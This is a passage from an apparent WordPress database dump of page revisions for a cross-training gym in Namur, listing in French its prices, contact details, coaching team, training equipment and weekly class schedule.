100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:23:56', '2013-07-03 18:23:56', '', 11, 'http://www.crosstrainingcenter.be/?p=217', 0, 'revision', '', 0),
(220, 1, '2013-06-16 15:15:32', '2013-06-16 15:15:32', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&amp;nbsp;\r\n&lt;iframe width=\&quot;425\&quot; height=\&quot;350\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href=\&quot;http://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;sll=50.483687,4.854333&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002+Namur,+R%C3%A9gion+wallonne&amp;amp;ll=50.483687,4.854333&amp;amp;spn=0.046423,0.112867&amp;amp;t=m&amp;amp;z=14&amp;amp;source=embed\&quot; style=\&quot;color:#0000FF;text-align:left\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-16 15:15:32', '2013-06-16 15:15:32', '', 9, 'http://www.crosstrainingcenter.be/?p=220', 0, 'revision', '', 0),
(221, 1, '2013-06-16 15:08:36', '2013-06-16 15:08:36', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-15', '', '', '2013-06-16 15:08:36', '2013-06-16 15:08:36', '', 20, 'http://www.crosstrainingcenter.be/?p=221', 0, 'revision', '', 0);
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(222, 1, '2013-06-16 13:47:21', '2013-06-16 13:47:21', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 13:47:21', '2013-06-16 13:47:21', '', 22, 'http://www.crosstrainingcenter.be/?p=222', 0, 'revision', '', 0),
(223, 1, '2013-07-03 19:02:56', '2013-07-03 19:02:56', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:02:56', '2013-07-03 19:02:56', '', 11, 'http://www.crosstrainingcenter.be/?p=223', 0, 'revision', '', 0),
(224, 1, '2013-06-16 13:58:09', '2013-06-16 13:58:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles 